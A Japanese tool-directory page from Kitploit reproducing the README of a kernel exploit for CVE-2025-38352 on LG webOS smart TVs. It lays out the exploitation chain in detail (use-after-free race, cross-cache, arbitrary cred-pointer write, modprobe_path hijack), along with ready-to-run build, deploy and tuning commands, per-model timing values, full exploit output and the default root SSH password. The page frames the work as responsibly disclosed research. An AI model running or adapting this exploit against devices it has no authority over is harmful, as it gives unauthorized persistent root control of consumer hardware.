Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
chronomaly-webos — CVE-2025-38352は、LG webOS Smart TV(ARM64)向けのカーネルエクスプロイトです。実際の消費者向けハードウェア上で永続的なroot権限を獲得し、新規の悪用技術を使用します。責任を持ってLGに開示されました。 | Kitploit
ツール/GitHubGitHub/analyticeth/chronomaly-webos
組み込みシステムセキュリティ特権昇格脆弱性分析エクスプロイトハードウェアセキュリティ学習と教育バイナリエクスプロイト
GitHubanalyticeth/chronomaly-webos

chronomaly-webos

CVE-2025-38352は、LG webOS Smart TV(ARM64)向けのカーネルエクスプロイトです。実際の消費者向けハードウェア上で永続的なroot権限を獲得し、新規の悪用技術を使用します。責任を持ってLGに開示されました。

リポジトリを見る
102ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Chronomaly — CVE-2025-38352 on LG webOS

CVE-2025-38352(POSIX CPUタイマーの競合条件/use-after-free)を悪用したカーネルエクスプロイト。LG webOS Smart TV上で、ARM64のカーネル5.4.268で動作し、永続的なルート権限を取得します。複数のファームウェアバージョンを持つ4つのTVモデルで検証済み。LGのSecurity Researcher Programに責任を持って開示(2026年2月)。

farazsth98 によるChronomalyを基に構築。Stage 1のUAFレースロジックとクロスキャッシュインフラストラクチャをARM64向けに移植・適応。Stage 2~5は、エミュレート環境には存在しない実際のハードウェア上の制約に対する新規の悪用技術と解決策を用いて再設計。Claude Opus 4.6の支援を受けて開発。

脆弱性の完全な分析、エクスプロイトチェーンの解説、および推奨される緩和策についてはVULNERABILITY_REPORT.mdを参照してください。

結果

  • 特権のないprisonerユーザー(uid=5038)から永続的なカーネルルート(uid=0)を獲得
  • 5つのLG TVモデルで検証: OLED65C2PUA、86QNED70AUA、OLED77C5PUA、OLED77G4WUA、OLED65C4PUA
  • ファームウェアバージョン33.22.65~33.30.97(カーネル5.4.268-320および-329)で確認
  • 完全自動化、数分以内に完了、Homebrew Channelの昇格により再起動後も持続
  • LG Security Researcher Programに報告済み(2026年2月7日)

免責事項

このエクスプロイトは責任あるセキュリティ研究の一環として開発され、2026年2月7日にLGのSecurity Researcher Programに報告されました。教育目的でのみ公開されています。責任を持って、自分が所有するデバイスでのみ使用してください。著者は、本ソフトウェアの使用に起因するいかなる損害、文鎮化、データ損失、保証の無効化についても責任を負いません。本ソフトウェアは現状のままで提供され、いかなる保証もありません。

新規技術

1. 再設計された書き込みプリミティブ

オリジナルの任意デクリメントは低速でノイズが多い。struct credオブジェクトをフォークしたプロセスを介して1000個スプレーし、ターゲットのcredのEUIDフィールドをN回デクリメントする。各デクリメントは独立した操作である。これはタイミングが寛容なQEMUでは許容できるが、割り込み駆動のページ回収が操作の間にパイプバッファページを奪う可能性がある実際のハードウェア上では信頼性が低い。

代わりに、list_del_init()を介した単一の任意書き込みに置き換えられた。エクスプロイトは、パイプバッファを介してUAFされたsigqueueのlist_head.nextとlist_head.prevポインタを上書きする。カーネルが保留中のシグナルをデキューするとき(collect_signal() → list_del_init())、prev->next = next(偽のcredアドレスをtask_struct->credに書き込む)とnext->prev = prev(制御された副作用書き込み)を実行する。1回の書き込みで、プロセスのcredポインタを、すべてのuid/gidフィールドがゼロの偽のcred構造体へのポインタに置き換える。credスプレーなし、フォークされたプロセスなし、決定論的。

2. tee()によるpeek_pipe()(非破壊読み取り)

オリジナルでは、エクスプロイト全体でパイプバッファに対して破壊的なread()呼び出しを使用している。QEMUでは、操作の間にページが盗まれないため問題ない。4つの物理コアを持つ実際のハードウェアでは、カーネルのCPUごとのページリスト(pcplist)が解放されたページを積極的に回収する。破壊的な読み取りはパイプバッファのバッキングページを解放し、エクスプロイトが再割り当てする前にハードウェア割り込みによって即座に奪われる可能性がある。

解決策は、tee()を使用した非破壊的なパイプ読み取りプリミティブである。tee()システムコールは、2つのパイプ間でパイプデータを消費せずに複製し、元のパイプバッファのバッキングページをピン留めしたままにする。これにより、エクスプロイトはクロスキャッシュされたパイプバッファからカーネルデータを繰り返し読み取ることができ、ページ損失のリスクがない。これは実際のハードウェア上での信頼性にとって重要であった。

3. 2番目のクロスキャッシュパイプバッファ内の偽のcred

オリジナルでは、credオブジェクトをスプレーし、予測可能な位置に配置されることを期待する。このバージョンでは、2番目のクロスキャッシュを実行することにより、既知のアドレスに偽のcred構造体を構築する。新しいsigqueueを割り当て(tkill(SIGRTMIN+1)経由)、最初のパイプバッファのヒープリークからそのアドレスを学習し、そのsigqueueのスラブページを2番目のパイプバッファにクロスキャッシュする。偽のcredは、リークされたsigqueueアドレスと同じページオフセットにある2番目のパイプバッファに書き込まれる。その結果、推測を必要としない、決定論的なカーネル仮想アドレスに偽のcredが配置される。

4. 最終書き込みトリガーとしてSIGUSR2を保留

オリジナルでは、UAF sigqueueのアドレスをリークするためにStage 2の早い段階でSIGUSR2をデキューする。これによりシグナルが消費されるため、オリジナルは最終書き込みに別のメカニズムを必要とする。このバージョンでは、UAF sigqueue自身のアドレスを必要としない(ヒープリークはパイプバッファ内の隣接するsigqueueポインタから得られる)。SIGUSR2は全5つのステージにわたって保留され、そのデキューが最終的な任意書き込みのトリガーとして使用される。UAFを作成したシグナルが、それを悪用する同じシグナルのデキューである。

5. modprobe_path + socket(44) 昇格

偽のcred構造体は、NULLのuser_ns、user、およびgroup_infoポインタを持つ(uid/gidフィールドを超えるパイプバッファはゼロ初期化されるため)。setresuid()、fork()、またはexec()を呼び出すと、これらのNULLポインタをデリファレンスしてカーネルパニックを引き起こす。オリジナルでは、credスプレーが有効なポインタを持つ実際のcredオブジェクトを使用するため、この問題を回避している。

解決策:/proc/sys/kernel/modprobeをペイロードスクリプト(/tmp/pwn)を指すように上書きし、socket(44, SOCK_STREAM, 0)(存在しないプロトコルファミリを要求)を介してcall_usermodehelperをトリガーする。カーネルは、init_cred(カーネル自身のルート資格情報、完全に有効)を使用してmodprobeヘルパーを実行し、破損したcredを完全にバイパスする。ペイロードは完全なルートとして実行され、任意の操作を実行できる。

6. 実際のハードウェアタイミング保護

Stage 4(悪意のあるポインタをパイプバッファに書き込み、シグナルデキューをトリガーする)の重要なウィンドウは、ハードウェア割り込みがCPUごとのページリストからパイプバッファページを奪う可能性がある。これはQEMUでは発生しない。実際のハードウェアでは、このウィンドウは、利用可能な場合はSCHED_FIFO優先度、クリティカルセクションに入る前にCPU上で保留中の作業を完了させるためのsched_yield()、および書き込みとトリガーの間の時間を最小限に抑えるために事前に準備されたバッファ内容によって保護される。エクスプロイトは、SCHED_FIFOが利用できない場合(prisonerユーザーがCAP_SYS_NICEを欠いているwebOSの場合など)にも正常にフォールバックする。

7. ARM64 task_struct オフセットのリバースエンジニアリング

任意書き込みはtask_struct->credを対象としており、task_struct->pending(そのアドレスはパイプバッファからリークされる)からtask_struct->credまでのバイトオフセットを知る必要がある。このオフセットはカーネル設定に依存する。0x80(128バイト)のオフセットは、LG webOSカーネルソースから手動で計算され、CONFIG_KEYS=y、CONFIG_SYSVIPC=y、およびARM64固有の構造体レイアウトとアラインメントを考慮している。オリジナルのx86_64オフセットは、異なる構造体パッキングと設定オプションのために異なる。


機能

成功すると、エクスプロイトは次のことを行う:

  1. UAF → クロスキャッシュ → 任意書き込み(cred上書き)を介してカーネルルートを獲得
  2. /proc/sys/kernel/modprobeを上書きして、ルート権限付与ペイロードをinitとして実行
  3. ペイロードはHomebrew Channelをインストールして昇格し、Dev Modeアプリを削除
  4. 再起動後、Homebrew Channelはポート22で永続的なルートSSHを提供

クイックスタート

前提条件

  • カーネル5.4.268(ARM64)を搭載したLG webOS TV
  • TVでDev Modeが有効(ポート9922でのSSHアクセス)
  • ARM64クロスコンパイラ(aarch64-linux-gnu-gcc)
  • Homebrew Channel IPK — webosbrewリリースからダウンロード

クロスコンパイラのインストール

root@kitploit:~
# macOS(サードパーティのtapが必要)
brew tap messense/macos-cross-toolchains
brew install aarch64-unknown-linux-gnu

# Ubuntu/Debian
sudo apt-get install gcc-aarch64-linux-gnu

推奨:まずHomebrew Channelをインストール

エクスプロイトを実行する前に、Dev Modeを介してTVにHomebrew Channelアプリをインストールします。そうすることで、ルート権限付与ペイロードは昇格のみを行えばよくなり(高速、信頼性が高い)、インストール+昇格(低速、失敗する可能性あり)よりも優れます。ares-installまたはDev Managerアプリを使用してサイドロードできます:

root@kitploit:~
ares-install org.webosbrew.hbchannel_0.7.3_all.ipk

HBCが事前にインストールされていない場合、エクスプロイトは/tmp/hbchannel.ipk(deploy-webos.shによってデプロイ)からのインストールを試みますが、これは失敗する可能性のある追加の手順を追加します。

ビルド、デプロイ、実行

root@kitploit:~
# 1. TVのIPとSSHキーを設定
#    TVのIPは設定 > ネットワーク > Wi-Fi > 詳細設定で確認
#    SSHキーはLG Developer Modeアプリによって生成される — Dev Managerまたはares-setup-deviceによってダウンロードされたキー
#    (通常はwebos_rsaという名前)を探す
export WEBOS_IP="<TV_IP>"
export WEBOS_KEY="$HOME/.ssh/webos_rsa"

# 2. ビルドとデプロイ(deploy-webos.shがビルドを自動処理)
./deploy-webos.sh

# 3. 接続して実行
ssh -i "$WEBOS_KEY" -p 9922 -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa prisoner@$WEBOS_IP
/tmp/exploit-arm64

環境変数

チューニング

エクスプロイトはコマンドライン引数としてタイミングパラメータを受け付けます:

root@kitploit:~
/tmp/exploit-arm64 [DELAY] [DELTA] [THRESHOLD]

引数が指定されない場合、コンパイル時のデフォルト値が使用されます(DELAY=31000、DELTA=50、THRESHOLD=3000)。 DELAYが指定されてもDELTAが指定されない場合、DELTAは自動的に DELAY / 600(最も近い5に丸められます)として計算されます。

既知の良好な値

新しいTVの値を見つける

エクスプロイトの出力を監視し、DELAYを調整します:

root@kitploit:~
Parent raced too late   → DELAYを減少
Parent raced too early  → DELAYを増加

両方のメッセージが表示された場合、タイミングは近い — 実行を続けると、エクスプロイトは最終的にレースウィンドウを捉えるはずです。コンパイル時のデフォルト(31000)から始めて、そこから調整します。

ルート獲得後

  1. エクスプロイトは/tmp/pwnが終了するのを待機します — しばしばタイムアウトします(これは正常です)。必要に応じて/tmp/pwn.logをチェックし、ペイロードが完了したことを手動で確認してください。
  2. TVを再起動
  3. 再起動後、Homebrew Channelはポート22でSSHを提供します:
    root@kitploit:~
    ssh root@<TV_IP>
    # パスワード: alpine
    

サンプル出力

root@kitploit:~
[*] Chronomaly - CVE-2025-38352 - webOS ARM64
[*] Config: DELAY=30500 DELTA=50 THRESH=3000 EPOLL=250 SFD=60
[*] Initializing...
[*] Racing...
[*] getpid() timing: 165 ns
        [+] Freed UAF sigqueue in parent process pid 28522

[+] Stage 2 - Cross-cache the UAF sigqueue's slab
        [+] Reallocated UAF sigqueue slab as a pipe buffer data page
        [+] Heap leak successful! Continuing...
        [+] SIGUSR2 kept pending - UAF sigqueue stays in list

[+] Stage 3 - Cross-cache new sigqueue's slab to second pipe buffer
        [+] fake_cred_addr = 0xffffff804908c820

[+] Stage 4 - Set up arbitrary write via UAF sigqueue
        [+] Will write: *0xffffff8048591378 = 0xffffff804908c820
        [+] SIGUSR2 still pending from Stage 1
        [DEBUG] All sigqueue fields verified OK

[+] Stage 5 - Trigger arbitrary write via signal dequeue
        [+] Signal dequeued successfully!
        [+] Arbitrary write completed: task->cred now points to fake_cred
        [+] Current EUID: 0, UID: 1213797240

         ██████╗  ██████╗  ██████╗ ████████╗    ██╗
         ██╔══██╗██╔═══██╗██╔═══██╗╚══██╔══╝    ██║
         ██████╔╝██║   ██║██║   ██║   ██║       ██║
         ██╔══██╗██║   ██║██║   ██║   ██║       ╚═╝
         ██║  ██║╚██████╔╝╚██████╔╝   ██║       ██╗
         ╚═╝  ╚═╝ ╚═════╝  ╚═════╝    ╚═╝       ╚═╝

        [+] ROOT ACHIEVED! EUID = 0
        [+] modprobe -> /tmp/pwn
        [+] Rooting payload executed!
完全な出力(OLED C5)
root@kitploit:~
[*] Chronomaly - CVE-2025-38352 - webOS ARM64
[*] Config: DELAY=30500 DELTA=50 THRESH=3000 EPOLL=250 SFD=60
[*] Initializing...
[*] Racing...
[*] getpid() timing: 165 ns
        [+] Freed UAF sigqueue in parent process pid 28522

[+] Stage 2 - Cross-cache the UAF sigqueue's slab
        [+] Reallocated UAF sigqueue slab as a pipe buffer data page
        [+] Cleaning up all cross-cache allocations to prepare for next cross-cache
        [+] Preparing task pending list for heap leaks
        [DEBUG] Pipe buffer page dump (non-zero qwords):
        [DEBUG]   offset 0x960: 0xffffff804dbee2d0 [kernel ptr]
        [DEBUG]   offset 0x968: 0xffffff80485913f8 [kernel ptr]
        [+] Heap leaks:
                - UAF sigqueue page offset 0x960
                - Other sigqueue 0xffffff804dbee2d0
                - Task pending list addr 0xffffff80485913f8
        [+] Heap leak successful! Continuing...
        [+] SIGUSR2 kept pending - UAF sigqueue stays in list

[+] Stage 3 - Cross-cache new sigqueue's slab to second pipe buffer
        [+] new_addr = 0xffffff804908c820 (page offset 0x820)
        [+] Dequeuing SIGRTMIN+1 (2nd time) to free new sigqueue from slab 3...
        [+] Freeing slab 3 page...
        [+] Writing fake cred at page offset 0x820
        [+] Reclaimed slab 3 page as second pipe buffer (with fake cred)
        [+] fake_cred_addr = 0xffffff804908c820 (= new_addr from Stage 3 SIGRTMIN+1)

[+] Stage 4 - Set up arbitrary write via UAF sigqueue
        [+] task_pending_list_addr = 0xffffff80485913f8
        [+] cred_offset = 0x80 (128 bytes)
        [+] task_cred_ptr_addr = 0xffffff8048591378
        [+] fake_cred_addr = 0xffffff804908c820
        [+] Will write: *0xffffff8048591378 = 0xffffff804908c820
        [+] SIGUSR2 still pending from Stage 1
        [-] SCHED_FIFO unavailable - proceeding anyway
        [DEBUG] Verifying sigqueue fields in pipe buffer:
        [DEBUG]   list.next  = 0xffffff804908c820 (expected 0xffffff804908c820) OK
        [DEBUG]   list.prev  = 0xffffff8048591378 (expected 0xffffff8048591378) OK
        [DEBUG]   flags      = 1 (expected 1) OK
        [DEBUG]   si_signo   = 12 (expected 12 = SIGUSR2) OK
        [DEBUG]   All sigqueue fields verified OK

[+] Stage 5 - Trigger arbitrary write via signal dequeue
        [+] Dequeuing ORIGINAL SIGUSR2 from Stage 1 (never dequeued until now)
        [+] This triggers list_del_init: *0xffffff8048591378 = 0xffffff804908c820
        [DEBUG] poll() returned 1, revents=0x1
        [DEBUG] SIGUSR2 = 12, sigusr2_sfd = 5
        [DEBUG] Key addresses for list_del_init:
        [DEBUG]   UAF.prev (entry->prev) = task_cred_ptr = 0xffffff8048591378
        [DEBUG]   UAF.next (entry->next) = fake_cred     = 0xffffff804908c820
        [DEBUG]   fake_cred[0] should be task_pending_list = 0xffffff80485913f8
        [DEBUG] Expected writes:
        [DEBUG]   *(0xffffff8048591378) = 0xffffff804908c820  (task->cred = fake_cred)
        [DEBUG]   *(0xffffff804908c828) = 0xffffff8048591378  (fake_cred.prev = task_cred_ptr)
        [DEBUG] Verifying pipe buffers still valid...
        [DEBUG]   realloc_pipe read(0) = 0 (errno=1)
        [DEBUG] About to call read(sigusr2_sfd) - this triggers list_del_init...
        [DEBUG] NOTE: If it hangs here, the exploit has failed and you must start over.
        [DEBUG] read() returned 128, errno=0 (Success)
        [DEBUG] Blocking mode restored
        [+] Signal dequeued successfully! (read 128 bytes)
        [DEBUG] POST-DEQUEUE pipe buffer check:
        [DEBUG]   list.next = 0xffffff80417e9960
        [DEBUG]   list.prev = 0xffffff80417e9960
        [DEBUG]   Pointers changed by kernel (list_del_init applied to our page)
        [+] Arbitrary write completed: task->cred now points to fake_cred

        [+] Checking privileges...
        [+] Current EUID: 0, UID: 1213797240

         ██████╗  ██████╗  ██████╗ ████████╗    ██╗
         ██╔══██╗██╔═══██╗██╔═══██╗╚══██╔══╝    ██║
         ██████╔╝██║   ██║██║   ██║   ██║       ██║
         ██╔══██╗██║   ██║██║   ██║   ██║       ╚═╝
         ██║  ██║╚██████╔╝╚██████╔╝   ██║       ██╗
         ╚═╝  ╚═╝ ╚═════╝  ╚═════╝    ╚═╝       ╚═╝

        [+] ROOT ACHIEVED! EUID = 0
        [+] modprobe -> /tmp/pwn
        [+] Rooting payload executed!
        [+] Waiting for /tmp/pwn to finish...
        [+] May take up to 5 minutes to finish.

ライセンス

オリジナルのコントリビューションはMITライセンスです。farazsth98によるChronomalyから派生した部分は、アップストリームプロジェクトが明示的なライセンスなしで公開されたため、MITライセンスの対象外です。詳細はLICENSEを参照してください。

参照

  • CVE-2025-38352 — 2025年9月Androidセキュリティ速報(実際の攻撃で悪用)
  • Chronomaly — farazsth98によるオリジナルエクスプロイト(x86_64/QEMU)
  • Part 1 — In-the-wild Android Kernel Vulnerability Analysis + PoC
  • Part 2 — Extending The Race Window Without a Kernel Patch
  • Part 3 — Uncovering Chronomaly
  • Homebrew Channel
ツールをダウンロード
変数デフォルト説明
WEBOS_IP192.168.1.100TVのIPアドレス
WEBOS_PORT9922SSHポート
WEBOS_USERprisonerSSHユーザー
WEBOS_KEY$HOME/.ssh/webos_rsaSSHキーのパス
TVモデルOTA IDDELAYDELTATHRESHOLD
OLED65C2PUAHE_DTV_W22O_AFABATPU29700503000
86QNED70AUAHE_DTV_W25P_AFADATAA1000001653000
OLED77C5PUAHE_DTV_W25G_AFABATAA30500503000
OLED77G4WUAHE_DTV_W24O_AFABATAA24500502500
OLED65C4PUAHE_DTV_W24G_AFABATAA30000503000
OLED55C4PUAHE_DTV_W24G_AFABATAA30300503000
OLED48C3AUB-31300503000
OLED65C3PUAHE_DTV_W23O_AFABJAAA27900503000